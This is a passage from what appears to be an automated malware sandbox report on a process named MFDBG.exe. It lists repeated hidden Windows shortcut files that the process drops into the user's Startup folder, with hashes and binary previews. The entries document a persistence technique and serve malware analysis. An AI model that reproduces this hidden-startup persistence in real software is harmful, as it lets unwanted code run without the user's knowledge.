File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9235172666171465
Encrypted:	false
SSDEEP:	24:8nBfX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8BEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	20813EDFE1933F7440F2A09FE15A112A
SHA1:	1E9DB2750FD87690C1081820A7B2C4BD23CCB2F4
SHA-256:	CB1963103290BB9C19235A0F36AE812CF7A696096277633D40A9C94F34D48FC4
SHA-512:	69828A1D626FAA1EACABB3C71A87187502507597B25E43F796866E66AA707BCEB2B37AD71895C70E941E1E50D9ED7FE2440683D022C4A3321D02BC6537B10CF2
Malicious:	false
Preview:	L..................F....".......d....a.;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....c.;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db0e0a0033264ea2abd75127aac03a26.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9283968705959555
Encrypted:	false
SSDEEP:	24:89BfWQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8veFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D2C20263EA66287792DB049A6C7488B2
SHA1:	0E3DFF86F1550407884D383D4798D2E8E21074C8
SHA-256:	81EA89E96CF2B79716BB583E334409A09B71CD602037446BAA4D1E5F5EC8D456
SHA-512:	06D389B7FA305E3D5B2CC50FDEBDE5EFB7BA88880C26EF63EF7D5B54C22278FC710C0CA7BE935470061C4060E59252C3C07573092C82F9915ED3CE32BB59E617
Malicious:	false
Preview:	L..................F....".......d......(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Zi.(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db375625497b450682217713d7e8c1af.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9311680133516615
Encrypted:	false
SSDEEP:	24:8SBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8AhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5B73F5DD24CEEA7C69940E78B3CDC3FD
SHA1:	63C99D86E3BC1EBDF872687EB0D76FD571ACE4CD
SHA-256:	B39DEF436D0ADA1F892FCE2C405BCB525587CC5CD1D0DA930837CB2F6FBA7A36
SHA-512:	C81B13FDD43A48EA56BCB45B723E7F63C909F4D4B30AF6B9C72CD58BA51193FCE4E93B5F0B223389863D03042D46F03D0C5251F394889CEE9C0496B69C4B7346
Malicious:	false
Preview:	L..................F....".......d...)(.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db5c4b99112e4fe283f3b096981b6f21.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922985672842583
Encrypted:	false
SSDEEP:	24:86Bf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84yQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BCFD9077B0356DA9D119FB10B0DE5763
SHA1:	4BF35F9BFC43C6A96547684CD7B6CCA14F0E670E
SHA-256:	EA81F1436ACE117CF32B2F7EF0C1EF0E3E8EF31BF3529667DFB8F4BD209DEC9C
SHA-512:	8FE29936B2B8BEF4D8527E16ED52AC643CB7C7D02799734B221647E29FFCD1B3CD4D93687CDD9C3B96EAA45296512AEB1181FA36E76E7F52DAD60E50FE57B7D2
Malicious:	false
Preview:	L..................F....".......d....c.%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db7ae24d3e3e4fcb8e554ded9797a120.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.895979170383585
Encrypted:	false
SSDEEP:	24:8ZBf38EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8DEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A2AE200CA9ED92FF532AC555E74FBCBF
SHA1:	A2B40B8AB27100B570605AA440953DA775559E28
SHA-256:	B5BE61428C24241A01642B0300A6F6EAA6B1444342A6B66A67799C9637291B47
SHA-512:	CD6BA5E271D0FCAB7E25B3FF7201B861A208896B79E784BD882BF86108222A132B925B23042A5CAFC46F188ACA5249B294ACE616D98A07BD1F9E2D9B9D3B1199
Malicious:	false
Preview:	L..................F....".......d.....9\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....9\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db7fc2a90ef844f49ab5fc2c1497c65c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926546768860175
Encrypted:	false
SSDEEP:	24:8qQBf8+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8qeETEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C8AFF2E9202CCB03487C4EAF74F52637
SHA1:	B972264699A7D4C99EACEB6F3C52DF45B67E2F1B
SHA-256:	64EBF0A88B608D94074B60A5753AF1440DA53F415767B360197DC7B80BD3D4D2
SHA-512:	1D9D94D5C2E8FABEEBD6600E502AB7278CA7BDD581DB2AD494AD5CFBB928BC8D5FB7AB3FFEDB88EDAB6B791320D1E3291F4647A1402334AC1E343651C10B2A58
Malicious:	false
Preview:	L..................F....".......d.....;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dbafcd30f4f4459e8703c151468fbf2d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918921198787882
Encrypted:	false
SSDEEP:	24:87FBfbf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8rjEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2055DFA48F4BC81ACF47B21DA6F28D5C
SHA1:	6867D38063D66ACCE48E49735594D43DDA4FA358
SHA-256:	957FBD5DA65B009EBBB284A2E1A534B5B3D4688349EF64B48A967E5E87647044
SHA-512:	7D57062DE706BB7BC74911F50B748326454E8F21A9090FDB1845C8DB17C8A6E15C95A64ADC3B8643F77684B4AC1E2AC33FE7E41C554DB322E5DFDA1523DD510F
Malicious:	false
Preview:	L..................F....".......d.....k.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....k.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dbca29054fd14f6fba7921fe98daeedf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925503291287458
Encrypted:	false
SSDEEP:	24:8SBfx+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8AtEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B8688A64455D8E4880098A504AE920E9
SHA1:	EF7892CF7EDBC1F3CB3524E42E19E2DFD32ADE31
SHA-256:	AA1F8C42FBF5AF6D56B6D315FE07EC8127F5092F118635378D758D6510F96A44
SHA-512:	F0BA1A69BCE1D11498938D13422C92C8E0A4F1F4BBE137C977D76DA20EB5CDB326479FB11205815829A4813C9C908E46933D7856001F2C7EF90C0610452348AD
Malicious:	false
Preview:	L..................F....".......d.....6.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..../.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dc0b7f730d78456594918e0041888b5e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925702024758105
Encrypted:	false
SSDEEP:	24:8y3Bfm8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8yRzEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9746749D87AB09BD587EB448F01D8FC1
SHA1:	122CBA35EBB9E8E9DB9C23CA7E619E4D5367E8D6
SHA-256:	B386F051563601915A43776F575ED813F002A5D14E8FF9F9CA4B54EF7694AA7B
SHA-512:	F7B0C0B5E77458B70A68C326D704E8427E26292541C0D971D126E9EA9F3B0456B77FE3020ADF54E2FBDFE8BF80631D677A064CBC48936117336CBF4B268BC663
Malicious:	false
Preview:	L..................F....".......d...*.6'd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dc10b4db954b4a3cafd3c8d6dc0b3f12.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922249111980373
Encrypted:	false
SSDEEP:	24:8rBfX48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dP9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	C665EE3F2F6820E125B69C2AA0F0FD6B
SHA1:	7269DF5FA6613A70E6C3B5D7ACEDF286DB46CFB2
SHA-256:	ED993DB633DD3006D350EE34A8590B06E0F143F0212FFBCCA33E8124683F6231
SHA-512:	3E09441B4A03D69E4AF8B3ABE08D87ABC0AF938D126A1D2A00B657B7221E2FD755682BA21BAC1406132A85A194F4DB124901BAAA13A834DF44EFAECA051A9290
Malicious:	false
Preview:	L..................F....".......d...i".}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6.}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dcb80d238ec148b884af12aeb4548d2d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924426617356593
Encrypted:	false
SSDEEP:	24:8wQBf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8JyEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D084A49EB97A5C96634DF9904D9650AB
SHA1:	7440280A4325CBD935F0C65E8BBDE183B6322AF5
SHA-256:	361A4EFD03F9D934F26CF74817874AC61D029DD849EAE33164DC062054CFD3EE
SHA-512:	00B263AAB11211DB09BFD53C41CBCDCE0D60EB9E4FD4B9DEFB0A05DBA378C0DAB5F3464799823DC6BDF75B0127E04AE473093550CA7E3B113EC0A34BC4FC83CF
Malicious:	false
Preview:	L..................F....".......d...c.^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dcfa5d7657ed42419292bb60e212f87a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918241991798307
Encrypted:	false
SSDEEP:	24:8drBff48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dddEvZ0yRO7DLO2zdxdRd1kyg
MD5:	878DFD4B3BE32652B6C1F01242E34C9C
SHA1:	E8A4A2F70AD5382418FFC574E98D5CC1744498BA
SHA-256:	DEDF0E965A19270F558048B7AC37EEAA7580069183E60636E9DBD2C97FED5D8E
SHA-512:	6D18E95CE1E6650430519D3B8C91835D2F659BCB7CC6B5C271B1038AAA754BF88535F388FDC9D4DEECBEADA5D1D843C0E6EF1D2D0B79B39C24DAD815A1E94817
Malicious:	false
Preview:	L..................F....".......d...,8.^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...!.L_d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dd4604b136a747629e27d3201ce0b0bc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9221894859636945
Encrypted:	false
SSDEEP:	24:8NeQBf/P48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Z3FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C9787EC2F89A59AA653097035988592B
SHA1:	08D7BA2D4E72A1577B5A8B8C19897726A252D054
SHA-256:	6D40F78B91DC71CF58CEE465D1F92671DDBEFB5271C67B521B8688A3DF5E068F
SHA-512:	7DEF69CDC7CE2B777A243B32D75B39925FF0A52EED9ECDDED019BD986BBF8535A1B66B3B12CE55629F3CE4CF00082B412867E63C4AB1F021735C0E7E4C83DF87
Malicious:	false
Preview:	L..................F....".......d......{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....0.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dd498831bff149b99efb6c9e1c28f413.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
